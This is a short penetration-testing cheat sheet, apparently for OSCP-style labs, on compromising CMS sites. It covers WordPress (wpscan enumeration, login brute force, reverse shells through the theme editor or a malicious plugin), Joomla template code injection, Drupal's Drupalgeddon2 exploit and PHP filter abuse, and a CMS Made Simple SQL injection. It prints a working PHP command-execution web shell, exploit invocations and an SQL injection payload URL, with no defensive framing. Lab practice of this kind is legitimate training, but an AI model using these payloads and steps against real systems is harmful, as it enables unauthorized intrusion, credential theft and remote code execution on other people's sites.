WordPress
Enumeration
wpscan --url http://<TARGET-IP> -e vp,vt,u --plugins-detection aggressive | tee scans/wpscan.txt
User enumeration only
wpscan --url http://<TARGET-IP> -e u
Brute force WordPress login
wpscan --url http://<TARGET-IP> -U admin -P /usr/share/wordlists/rockyou.txt
After getting admin credentials → RCE
Appearance → Theme Editor → select a PHP file → inject reverse shell
OR: Plugins → Add New → upload malicious plugin ZIP
Plugin shell:
<?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);}?>Access: http://<TARGET-IP>/wp-content/plugins/shell/shell.php?cmd=id
LFI / traversal in plugins/themes
Check for vulnerable plugins via wpscan CVE database
Joomla
Enumeration
joomscan --url http://<TARGET-IP> | tee scans/joomscan.txt
Manual checks
curl http://<TARGET-IP>/administrator/ # Admin login panel
curl http://<TARGET-IP>/README.txt # Version disclosure
curl http://<TARGET-IP>/configuration.php # Config file
After admin access → RCE
Extensions → Templates → Beez3 → index.php → inject PHP reverse shell
Drupal
Version detection
droopescan scan drupal -u http://<TARGET-IP>
curl http://<TARGET-IP>/CHANGELOG.txt # Version number
CVE-2018-7600 (Drupalgeddon2 · unauthenticated RCE)
searchsploit drupalgeddon
python3 44449.py http://<TARGET-IP>
After admin access
Admin → Configuration → Modules → Enable PHP Filter
Admin → Content → Add Basic Page → PHP code in body with filter = PHP code
CMS Made Simple (CVE-2019-9053)
SQL injection in News module · classic OSCP box vulnerability
searchsploit cms made simple 2.2.9
python3 46635.py -u http://<TARGET-IP>/cmsms --crack -w /usr/share/wordlists/rockyou.txt
Manual exploit (GET parameter injection in m1_idlist)
http://<TARGET-IP>/index.php?page=news&category=1,updatexml(1,concat(0x7e,(select version()),0x7e),1)